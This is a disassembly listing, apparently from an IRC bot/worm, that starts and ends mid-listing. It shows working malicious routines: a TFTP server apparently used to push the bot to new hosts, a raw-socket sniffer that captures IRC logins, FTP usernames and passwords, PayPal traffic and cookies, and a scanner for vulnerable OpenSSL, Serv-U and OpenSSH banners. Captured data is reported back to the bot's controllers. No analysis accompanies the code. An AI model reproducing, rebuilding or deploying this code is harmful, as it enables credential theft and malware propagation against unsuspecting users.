var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 87Ch
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		xor	eax, eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_374]
		push	ebx
		inc	eax
		push	2
		rep movsd
		inc	[ebp+var_164]
		push	2
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_8], eax
		mov	[edx+2A0h], eax
		call	dword_4CDF60	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_410D53
		push	190h
		call	dword_424078	; Sleep
		cmp	[ebp+var_D8], ebx
		jnz	short loc_410D33
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_408BC1
		add	esp, 14h


loc_410D33:				; CODE XREF: sub_410CB3+5Bj
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_413F3A
		push	[ebp+var_168]
		call	sub_40A446
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4240CC	; ExitThread


loc_410D53:				; CODE XREF: sub_410CB3+48j
		lea	eax, [ebp+var_10]
		push	4
		push	eax
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	esi
		call	dword_4CDEC4	; setsockopt
		lea	eax, [ebp+var_14]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		push	esi
		call	dword_4CDEC4	; setsockopt
		mov	eax, [ebp+var_168]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_440E44[eax], esi
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		mov	[ebp+var_2C], 2
		push	[ebp+var_160]
		call	dword_4CDEE4	; htons
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_2C]
		push	10h
		push	eax
		push	esi
		mov	[ebp+var_28], ebx
		call	dword_4CDF10	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410DDD
		push	1388h
		call	dword_424078	; Sleep
		dec	[ebp+var_164]
		push	[ebp+arg_0]
		jmp	loc_41111E
; ---------------------------------------------------------------------------


loc_410DDD:				; CODE XREF: sub_410CB3+10Fj
		lea	eax, [ebp+var_370]
		push	offset dword_426068
		push	eax
		call	sub_418222
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_410E43
		push	190h
		call	dword_424078	; Sleep
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_408BC1
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_413F3A
		push	[ebp+var_168]
		call	sub_40A446
		add	esp, 1Ch
		push	ebx
		call	dword_4240CC	; ExitThread


loc_410E43:				; CODE XREF: sub_410CB3+142j
					; sub_410CB3+425j
		mov	edi, [ebp+arg_0]
		cmp	[edi+2A0h], ebx
		jz	loc_4110E1
		mov	edi, 80h
		lea	eax, [ebp+var_D0]
		push	edi
		push	ebx
		push	eax
		mov	[ebp+var_1C], 5
		mov	[ebp+var_18], 1388h
		mov	[ebp+var_878], esi
		mov	[ebp+var_87C], 1
		call	sub_4182F0
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_87C]
		push	ebx
		push	eax
		push	ebx
		call	dword_4CDECC	; select
		test	eax, eax
		jle	loc_4110D5
		mov	al, byte_4400B4
		mov	ecx, edi
		mov	[ebp+var_578], al
		xor	eax, eax
		lea	edi, [ebp+var_577]
		mov	[ebp+var_C], 10h
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D0]
		push	80h
		push	eax
		push	esi
		call	dword_4CDEBC	; recvfrom
		push	[ebp+var_38]
		mov	[ebp+var_8], eax
		call	dword_4CDF6C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		call	sub_4185E6
		cmp	[ebp+var_D0], bl
		pop	ecx
		pop	ecx
		jnz	loc_4110BF
		cmp	[ebp+var_CF], 1
		jnz	loc_410FCB
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_417D40
		push	ebx
		push	ebx
		push	[ebp+var_4]
		call	sub_419F7D
		push	[ebp+var_4]
		lea	eax, [ebp+var_574]
		mov	[ebp+var_578], bl
		mov	[ebp+var_577], 3
		push	200h
		push	1
		push	eax
		mov	[ebp+var_576], bl
		mov	[ebp+var_575], 1
		call	sub_417E7A
		add	esp, 20h
		lea	ecx, [ebp+var_3C]
		mov	[ebp+var_8], eax
		add	eax, 4
		push	[ebp+var_C]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_578]
		push	eax
		push	esi
		call	dword_4CDF44	; sendto
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_778]
		push	offset aTftpTransferSt ; "Tftp transfer	started	to: %s"
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		cmp	[ebp+var_D8], ebx
		jnz	short loc_410FB9
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_408BC1
		add	esp, 14h


loc_410FB9:				; CODE XREF: sub_410CB3+2E1j
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_413F3A
		pop	ecx
		jmp	loc_4110D5
; ---------------------------------------------------------------------------


loc_410FCB:				; CODE XREF: sub_410CB3+257j
		cmp	[ebp+var_CF], 4
		jnz	loc_4110BF
		mov	cl, [ebp+var_CD]
		mov	al, [ebp+var_CE]
		cmp	cl, 0FFh
		mov	[ebp+var_578], bl
		mov	[ebp+var_577], 3
		jnz	short loc_411002
		inc	al
		xor	cl, cl
		mov	[ebp+var_575], bl
		jmp	short loc_41100A
; ---------------------------------------------------------------------------


loc_411002:				; CODE XREF: sub_410CB3+341j
		inc	cl
		mov	[ebp+var_575], cl


loc_41100A:				; CODE XREF: sub_410CB3+34Dj
		mov	[ebp+var_576], al
		mov	edi, 200h
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx
		shl	eax, 9
		sub	eax, edi
		push	eax
		push	[ebp+var_4]
		call	sub_419F7D
		push	[ebp+var_4]
		lea	eax, [ebp+var_574]
		push	edi
		push	1
		push	eax
		call	sub_417E7A
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_3C]
		mov	[ebp+var_8], edi
		push	[ebp+var_C]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_578]
		push	eax
		push	esi
		call	dword_4CDF44	; sendto
		cmp	edi, ebx
		jnz	short loc_4110D5
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_778]
		push	offset aTftpTransferCo ; "Tftp transfer	complete to: %s"
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		cmp	[ebp+var_D8], ebx
		jnz	short loc_4110AA
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_408BC1
		add	esp, 14h


loc_4110AA:				; CODE XREF: sub_410CB3+3D2j
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_413F3A
		inc	dword_4D09D8
		pop	ecx
		jmp	short loc_4110D5
; ---------------------------------------------------------------------------


loc_4110BF:				; CODE XREF: sub_410CB3+24Aj
					; sub_410CB3+31Fj
		push	[ebp+var_C]
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		push	9
		push	offset dword_4390E4
		push	esi
		call	dword_4CDF44	; sendto


loc_4110D5:				; CODE XREF: sub_410CB3+1E9j
					; sub_410CB3+313j ...
		cmp	[ebp+var_8], ebx
		jg	loc_410E43
		mov	edi, [ebp+arg_0]


loc_4110E1:				; CODE XREF: sub_410CB3+199j
		push	esi
		call	dword_4CDF78	; closesocket
		push	[ebp+var_4]
		call	sub_417DBB
		dec	[ebp+var_164]
		cmp	[edi+2A0h], ebx
		pop	ecx
		jnz	short loc_411112
		push	[ebp+var_168]
		call	sub_40A446
		pop	ecx
		push	ebx
		call	dword_4240CC	; ExitThread


loc_411112:				; CODE XREF: sub_410CB3+44Aj
		push	3E8h
		call	dword_424078	; Sleep
		push	edi


loc_41111E:				; CODE XREF: sub_410CB3+125j
		call	sub_410CB3
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_410CB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41112A	proc near		; CODE XREF: sub_411439+216p
					; sub_411439+240p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4D0C20, eax
		mov	eax, offset dword_4D0C20
		retn
sub_41112A	endp


; =============== S U B	R O U T	I N E =======================================



sub_411139	proc near		; CODE XREF: sub_411439+2B7p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411153


loc_41114F:				; CODE XREF: sub_411139+29j
					; sub_411139+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_411153:				; CODE XREF: sub_411139+14j
		push	offset aWm	; "#wm#"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41114F
		push	offset aPsniff_0 ; "[PSNIFF]:"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41114F
		push	offset aPsniff	; "PSNIFF//"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41114F
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41119B


loc_411197:				; CODE XREF: sub_411139+71j
					; sub_411139+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41119B:				; CODE XREF: sub_411139+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411197
		push	offset a366	; "366 "
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411197
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411197
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411197
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411197
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411197
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411197
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_411197
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_411197
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_411139	endp


; =============== S U B	R O U T	I N E =======================================



sub_411250	proc near		; CODE XREF: sub_411439:loc_41171Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41126A


loc_411266:				; CODE XREF: sub_411250+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41126A:				; CODE XREF: sub_411250+14j
		push	offset aWm	; "#wm#"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411266
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411290


loc_41128C:				; CODE XREF: sub_411250+4Fj
					; sub_411250+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_411290:				; CODE XREF: sub_411250+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41128C
		push	offset aOper	; "oper	"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41128C
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_411250	endp


; =============== S U B	R O U T	I N E =======================================



sub_4112C6	proc near		; CODE XREF: sub_411439:loc_41174Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4112E0


loc_4112DC:				; CODE XREF: sub_4112C6+29j
					; sub_4112C6+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4112E0:				; CODE XREF: sub_4112C6+14j
		push	offset aWm	; "#wm#"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4112DC
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4112DC
		push	offset a220	; "220 "
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411317


loc_411313:				; CODE XREF: sub_4112C6+60j
					; sub_4112C6+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_411317:				; CODE XREF: sub_4112C6+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411313
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411313
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4112C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41134D	proc near		; CODE XREF: sub_411439+345p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411367


loc_411363:				; CODE XREF: sub_41134D+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_411367:				; CODE XREF: sub_41134D+14j
		push	offset aWm	; "#wm#"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411363
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41138D


loc_411389:				; CODE XREF: sub_41134D+4Fj
					; sub_41134D+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41138D:				; CODE XREF: sub_41134D+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411389
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411389
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411389
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_41134D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4113D4	proc near		; CODE XREF: sub_411439:loc_4117E6p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4113EE


loc_4113EA:				; CODE XREF: sub_4113D4+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4113EE:				; CODE XREF: sub_4113D4+14j
		push	offset aWm	; "#wm#"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4113EA
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411414


loc_411410:				; CODE XREF: sub_4113D4+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_411414:				; CODE XREF: sub_4113D4+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411410
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4113D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411439	proc near		; DATA XREF: sub_401AA1+3B40o

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_418880
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		xor	esi, esi
		push	3Fh
		inc	esi
		xor	ebx, ebx
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_3B7]
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CDEF8	; gethostname
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CDF64	; gethostbyname
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_419070
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CDF60	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_4114DF
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_4114DF:				; CODE XREF: sub_411439+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CDF10	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411555
		call	dword_4CDE80	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_4393D8
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_411531
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_408BC1
		add	esp, 14h


loc_411531:				; CODE XREF: sub_411439+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_413F3A
		pop	ecx
		push	edi
		call	dword_4CDF78	; closesocket
		push	[ebp+var_34]
		call	sub_40A446
		pop	ecx
		push	ebx
		call	dword_4240CC	; ExitThread


loc_411555:				; CODE XREF: sub_411439+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CDE94	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4115DB
		call	dword_4CDE80	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_4393A8
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4115B7
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_408BC1
		add	esp, 14h


loc_4115B7:				; CODE XREF: sub_411439+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_413F3A
		pop	ecx
		push	edi
		call	dword_4CDF78	; closesocket
		push	[ebp+var_34]
		call	sub_40A446
		pop	ecx
		push	ebx
		call	dword_4240CC	; ExitThread


loc_4115DB:				; CODE XREF: sub_411439+13Cj
		mov	esi, 200h


loc_4115E0:				; CODE XREF: sub_411439+1D6j
					; sub_411439+1FFj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CDEFC	; recv
		cmp	[ebp+var_113AF], 6
		jnz	short loc_4115E0
		push	[ebp+var_113A4]
		call	dword_4241D0	; htons
		push	[ebp+var_113A4+2]
		movzx	edi, ax
		mov	[ebp+var_4], edi
		call	dword_4241D0	; htons
		movzx	eax, ax
		cmp	edi, 6Eh
		mov	[ebp+arg_0], eax
		jz	short loc_4115E0
		cmp	edi, 19h
		jz	short loc_4115E0
		cmp	eax, 6Eh
		jz	short loc_4115E0
		cmp	eax, 19h
		jz	short loc_4115E0
		push	[ebp+var_113AC]
		call	sub_41112A
		mov	edi, dword_4241D4
		add	esp, 4
		push	dword ptr [eax]
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset dword_42F298
		push	eax
		call	sub_4185E6
		push	[ebp+var_113A8]
		call	sub_41112A
		add	esp, 10h
		push	dword ptr [eax]
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset dword_42F298
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_1138C]
		xor	edi, edi
		push	eax
		call	sub_417D40
		add	esp, 10h
		test	eax, eax
		jle	short loc_4116D5


loc_4116AC:				; CODE XREF: sub_411439+29Aj
		lea	eax, [ebp+edi+var_1138C]
		cmp	byte ptr [eax],	0Dh
		jnz	short loc_4116BB
		mov	byte ptr [eax],	20h


loc_4116BB:				; CODE XREF: sub_411439+27Dj
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4116C3
		mov	byte ptr [eax],	20h


loc_4116C3:				; CODE XREF: sub_411439+285j
		lea	eax, [ebp+var_1138C]
		inc	edi
		push	eax
		call	sub_417D40
		cmp	edi, eax
		pop	ecx
		jl	short loc_4116AC


loc_4116D5:				; CODE XREF: sub_411439+271j
		cmp	[ebp+var_4], 50h
		jz	loc_411777
		cmp	[ebp+arg_0], 50h
		jz	loc_411777
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_411139
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_41171F
		push	[ebp+arg_0]
		lea	eax, [ebp+var_BB8]
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+var_4]
		push	eax
		push	offset unk_439374
		jmp	loc_4117A8
; ---------------------------------------------------------------------------


loc_41171F:				; CODE XREF: sub_411439+2C6j
		call	sub_411250
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_41174B
		push	[ebp+arg_0]
		lea	eax, [ebp+var_BB8]
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+var_4]
		push	eax
		push	offset unk_439340
		jmp	short loc_4117A8
; ---------------------------------------------------------------------------


loc_41174B:				; CODE XREF: sub_411439+2F5j
		call	sub_4112C6
		test	al, al
		pop	ecx
		jz	short loc_411777
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+var_4]
		push	eax
		push	offset unk_43930C
		jmp	short loc_4117A8
; ---------------------------------------------------------------------------


loc_411777:				; CODE XREF: sub_411439+2A0j
					; sub_411439+2AAj ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41134D
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_4117E6
		push	[ebp+arg_0]
		lea	eax, [ebp+var_BB8]
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+var_4]
		push	eax
		push	offset unk_4392D4


loc_4117A8:				; CODE XREF: sub_411439+2E1j
					; sub_411439+310j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_4186E0
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_4115E0
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_408BC1
		add	esp, 14h
		jmp	loc_4115E0
; ---------------------------------------------------------------------------


loc_4117E6:				; CODE XREF: sub_411439+354j
		call	sub_4113D4
		test	al, al
		pop	ecx
		jz	loc_4115E0
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+var_4]
		push	eax
		push	offset unk_43929C
		jmp	short loc_4117A8
sub_411439	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411816	proc near		; DATA XREF: sub_401AA1+5C7Fo

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	dword_4240A8	; GetTickCount
		push	eax
		call	sub_418638
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_411BFE
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_439404
		push	eax
		call	sub_4185E6
		xor	esi, esi
		add	esp, 20h
		cmp	[ebp+var_8], esi
		jnz	short loc_4118A6
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_408BC1
		add	esp, 14h


loc_4118A6:				; CODE XREF: sub_411816+6Ej
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_413F3A
		push	[ebp+var_290]
		call	sub_40A446
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4240CC	; ExitThread
		pop	edi
		pop	esi
sub_411816	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4118C8	proc near		; CODE XREF: sub_411BFE+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
